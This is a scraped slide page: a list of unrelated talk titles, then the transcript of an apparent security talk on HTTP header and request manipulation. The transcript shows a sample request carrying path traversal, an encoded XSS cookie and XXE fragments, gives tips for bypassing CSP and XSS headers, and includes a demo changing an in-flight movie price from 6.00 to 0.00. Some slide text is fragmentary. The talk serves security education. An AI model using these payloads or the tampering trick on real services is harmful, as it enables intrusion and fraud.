“If you can manipulate the data, game

Slides:

Advertisements

Similar presentations

The OWASP Foundation Web Application Security Host Apps Firewall Host Apps Database Host Web serverApp serverDB server Securing the.

Advertisements

I'll see your cross site scripting and raise you a Content Security Policy Lou Leone :: Rochester OWASP.

Internet and Me Ok the first thing I can say about internet is, it’s very helpful important. I can’t imagine my day without it. I use Inet every day every.

HTTPS Hypertext Transfer Protocol Secure Marcela López Hurtado.

17 th ACM CCS (October, 2010).  Introduction  Threat Model  Cross-Origin CSS Attacks  Example Attacks  Defenses  Experiment  Related Work 2 A Presentation.

Cross Site Request Forgery CSE 591 – Security and Vulnerability Analysis Spring 2015 Adam Doupé Arizona State University

WebGoat & WebScarab “What is computer security for $1000 Alex?”

Skills: none Concepts: protocol, hypertext transfer protocol, standard This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike.

Popular Web client and server programs This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 License. Skills: none IT.

1 HTTP – HyperText Transfer Protocol Part 1. 2 Common Protocols In order for two remote machines to “ understand ” each other they should –‘‘ speak the.

Servlets and JSP Nelson Padua-Perez William Pugh Department of Computer Science University of Maryland, College Park.

CS 142 Lecture Notes: HTTPSlide 1 HTTP Request GET /index.html HTTP/1.1 Host: User-Agent: Mozilla/5.0 Accept: text/html, */* Accept-Language:

Web Application Security 101 Steve Carter (special thanks to SPI Dynamics)

Client, Server, HTTP, IP Address, Domain Name. Client-Server Model Client Bob Yahoo Server yahoo.com/finance.html A text file named finance.html.

Rensselaer Polytechnic Institute CSC-432 – Operating Systems David Goldschmidt, Ph.D.

Boris Tshibangu. What is a proxy server? A proxy server is a server (a computer system or an application) that acts as an intermediary for requests from.

By Swapnesh Chaubal Rohit Bhat. BEAST : Browser Exploit Against SSL/TLS Julianno Rizzo and Thai Duong demonstrated this attack.

BROWSERS & BROWSING What, Which & Why. WHAT IS A BROWSER? Once you have an Internet connection, some programs access the internet automatically to operate.

How to Detect a Client’s Browser Senior Seminar CS498.

Computer Concepts 2014 Chapter 7 The Web and .

Web technologies and programming cse hypermedia and multimedia technology Fanis Tsandilas April 3, 2007.

Layer-7 DoS Hash Collisions. Provide cyber fraud protection to websites Prevent business logic attacks on web applications Heuristic web user behavior.

FTP (File Transfer Protocol) & Telnet

Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.

CS 190 Lecture Notes: Tweeter ProjectSlide 1 Uniform Resource Locators (URLs) Scheme Host.

© Janice Regan, CMPT 128, Jan 2007 CMPT 371 Data Communications and Networking HTTP 0.

AJAX and Java ISYS 350. AJAX Asynchronous JavaScript and XML: – Related technologies: JavaScript, Document Object Model, XML, server-side script such.

Penetration Testing James Walden Northern Kentucky University.

Krishna Mohan Koyya Glarimy Technology Services

Chapter 5 HTTP Request Headers. Content 1.Request headers 2.Reading Request Headers 3.Making a Table of All Request Headers 4.Sending Compressed Web Pages.

NOTE: To change the image on this slide, select the picture and delete it. Then click the Pictures icon in the placeholder to insert your own image. WEB.

DISCLAIMER: This help document will require you to make changes to your computer’s internet settings. Any changes you make are done at your own risk! If.

OWL Jan How Websites Work. “The Internet” vs. “The Web”?

Ram Santhanam Application Level Attacks - Session Hijacking & Defences

Factors influencing Web browsing Key points –Web browsing - model –Web session - anatomy –Client side –Network –Server side.

1 Robust Defenses for Cross-Site Request Forgery Adam Barth, Collin Jackson, John C. Mitchell Stanford University 15th ACM CCS.

Para Tech from the future just for you This phone comes with a tariff. If you would prefer just the handset it costs £110. It has a camera, satellite.

1-1 HTTP request message GET /somedir/page.html HTTP/1.1 Host: User-agent: Mozilla/4.0 Connection: close Accept-language:fr request.

CS 241 Discussion Section (11/17/2011). Outline Review of MP7 MP8 Overview Simple Code Examples (Bad before the Good) Theory behind MP8.

University of Central Florida The Postman Always Rings Twice: Attacking & Defending postMessage in HTML5 Websites Ankur Verma University of Central Florida,

Browser Wars (Click on the logo to see the performance)

HTTP/2 and ATS ATS Fall Summit 2015 Bryan Call. Why HTTP/2? Reduce latency and TCP connection overhead Easier to write well-performing sites (no domain.

Safe browsing - is an ad-blocker extension enough? AIMILIOS TSOUVELEKAKIS IT-DI-CSO IT LIGHTNING TALK – 12/

-to-Blog How It Works. This Is The « -to-blog» System Architecture.

Summer 2007 Florida Atlantic University Department of Computer Science & Engineering COP 4814 – Web Services Dr. Roy Levow Part 1 – Introducing Ajax.

Overview of Servlets and JSP

Client Side Requirement Unity3d game engine web plug-in Browser, Firefox, safari, IE, opera.

LURP Details. LURP Lab Details  1.Given a GET … call a proxy CGI script in the same way you would for a normal CGI request  2.This UDP perl.

Data Communications and Computer Networks Chapter 2 CS 3830 Lecture 7 Omar Meqdadi Department of Computer Science and Software Engineering University of.

The Internet What is the Internet? The Internet is a lot of computers over the whole world connected together so that they can share information. It.

Performance testing and engineering Raja Gourav Kokkiligadda, Performance Architect, Domestic and General.

MOZILLA FIREFOX BROWSER SUPPORT CALL AT GET SOLUTION OF ALL ERRORS AND ISSUES WITH THE ASSISTANCE OF EXPERTS

ColdFusion: Code Security Best Practices Presented at CCFUG Mar 2016 By Denard Springle.

© Janice Regan, CMPT 128, Jan 2007 CMPT 371 Data Communications and Networking HTTP 0.

How to fix Netflix Signing In Issues? For More Details Visit Our Website

Call Us Mozilla Firefox Online Technical Support Phone Number For more details visit at:- -techsupportnumber.com/mozilla-

Networking CS 3470, Section 1 Sarah Diesburg

The Hypertext Transfer Protocol

Introduction Web Environments

Web Statistics Statistics collected from

Apple Safari Customer Support. Apple Safari is well known based on free internet network web browser that was launched by apple inc. it gives a higher.

Python, PhantomJS, & Selenium

Networking CS 3470, Section 1 Sarah Diesburg

Browser Engine How it works…..

HTTP Request Method URL Protocol Version GET /index.html HTTP/1.1

Openreach Application

Uniform Resource Locators

CS3220 Web and Internet Programming Cookies and Session Tracking

Will Code For Food The website will begin as a site where I can advertise my skills as a programmer and offer services for free, for food, or for money.

Hot Air: The Cooling of Sound

Presentation transcript:

“If you can manipulate the data, game

Headers…so what?

Why are headers important? It’s the least protected area...

POST /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini&url=httphacker.com HTTP/1.0 Referer: domain.com/external.xml Accept: */* User-Agent: Mozilla/5.0 Gecko/ Firefox/ Host: domain.com Connection: Keep-Alive Cookie: oAuth[access_token]=%31%33%33%37%22%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%68 %74%74%70%68%61%63%6b%65%72%29%3c%2f%73%43%72%49%70%54%3e;PHPSESSID=k04mk749i6cur91k; ! ]> null</ FROM> SEND </ ID> null UserManagerService&xxe;</ DESTINATION> logout null </ MESSAGE> ! username:http&password=hacker The Hacker Opportunity

Common Misconceptions

Header Controls are Solid!

Header Controls fix app vulns!

Let’s review some controls…

Content-Security-Policy: frame-src ‘none’ Cross-Frame-Scripting: deny Maybe Java Framebusting? Prevent Clickjacking?

You’re good, right?

=)

CSP Content-Security-Policy - Chrome 25 (Firefox nightlies) X-Content-Security-Policy - Firefox 4+ X-WebKit-CSP - WebKit browsers (Chrome/Safari) CFS Browser support: Opera 10.5+, Chrome 4.1+, IE 8+, Firefox , Safari 4+ Try a different browser!

Content-Security-Policy: frame-src ‘httphacker.com’ Cross-Frame-Scripting: allow Change your User Agent! Manipulate the Control

Content-Security-Policy: script-src ‘none’ X-XSS-Protection: 1; mode=block Prevent XSS?

CSP Content-Security-Policy - Chrome 25 (Firefox nightlies) X-Content-Security-Policy - Firefox 4+ X-WebKit-CSP - WebKit browsers (Chrome/Safari) Again, try a different browser!

X-XSS-Protection: 0 Manipulate the Control

Other cool tricks… Change the Source

Get it already?

“If you can manipulate the data, game

Let’s have some fun…

Pay for Vin?

… uppVideoInput=%257B%2522requesterType%2522%253A%2522video1.0%2522%252C%2522macAddress%2522%253A%25223C%25 3AA9%253AF4%253A3C%253A21%253AA4%2522%252C%2522catalogId%2522%253A%2522e26uu1.59%2522%252C%2522deviceT ype%2522%253A%2522laptop%2522%252C%2522language%2522%253A%2522en_US%2522%252C%2522currency%2522%253A%2 522USD%2522%252C%2522userType%2522%253A%2522%2522%252C%2522flightInfo%2522%253A%257B%2522abpVersionNo%2 522%253A% %2522%252C%2522aircraftTailNumber%2522%253A%2522N372NW%2522%252C%2522airlineCode%2522%2 53A%2522DAL%2522%252C%2522airlineCodeIata%2522%253A%2522DL%2522%252C%2522airlineName%2522%253A%2522%252 2%252C%2522departureAirportCode%2522%253A%2522KLAS%2522%252C%2522departureCity%2522%253A%2522%2522%252C% 2522destinationAirportCode%2522%253A%2522KDTW%2522%252C%2522destinationCity%2522%253A%2522%2522%252C%2522fli ghtNumber%2522%253A%2522DAL2654%2522%252C%2522flightNumberAlpha%2522%253A%2522DAL%2522%252C%2522flightSta tus%2522%253A%257B%257D%252C%2522noOfActiveSubscribers%2522%253A%25220%2522%252C%2522videoServiceAvailability %2522%253Atrue%257D%252C%2522productlist%2522%253A%257B%2522name%2522%253A%2522Riddick%2522%252C%2522pr esentationPriority%2522%253A40%252C%2522priceExTax%2522%253A% %2522%252C%2522productCategory%2522%2 53A%2522WIRELESS1%2522%252C%2522productCode%2522%253A%2522DLCVFF0131%2522%252C%2522shortDescription%252 2%253A%2522Riddick%2522%257D%257D&price= 6.00 Original POST Request

… uppVideoInput=%257B%2522requesterType%2522%253A%2522video1.0%2522%252C%2522macAddress%2522%253A%25223C%25 3AA9%253AF4%253A3C%253A21%253AA4%2522%252C%2522catalogId%2522%253A%2522e26uu1.59%2522%252C%2522deviceT ype%2522%253A%2522laptop%2522%252C%2522language%2522%253A%2522en_US%2522%252C%2522currency%2522%253A%2 522USD%2522%252C%2522userType%2522%253A%2522%2522%252C%2522flightInfo%2522%253A%257B%2522abpVersionNo%2 522%253A% %2522%252C%2522aircraftTailNumber%2522%253A%2522N372NW%2522%252C%2522airlineCode%2522%2 53A%2522DAL%2522%252C%2522airlineCodeIata%2522%253A%2522DL%2522%252C%2522airlineName%2522%253A%2522%252 2%252C%2522departureAirportCode%2522%253A%2522KLAS%2522%252C%2522departureCity%2522%253A%2522%2522%252C% 2522destinationAirportCode%2522%253A%2522KDTW%2522%252C%2522destinationCity%2522%253A%2522%2522%252C%2522fli ghtNumber%2522%253A%2522DAL2654%2522%252C%2522flightNumberAlpha%2522%253A%2522DAL%2522%252C%2522flightSta tus%2522%253A%257B%257D%252C%2522noOfActiveSubscribers%2522%253A%25220%2522%252C%2522videoServiceAvailability %2522%253Atrue%257D%252C%2522productlist%2522%253A%257B%2522name%2522%253A%2522Riddick%2522%252C%2522pr esentationPriority%2522%253A40%252C%2522priceExTax%2522%253A% %2522%252C%2522productCategory%2522%2 53A%2522WIRELESS1%2522%252C%2522productCode%2522%253A%2522DLCVFF0131%2522%252C%2522shortDescription%252 2%253A%2522Riddick%2522%257D%257D&price= 0.00 Intercepted POST Request

Free Movies!

We need better control detection and protection!

Thank you.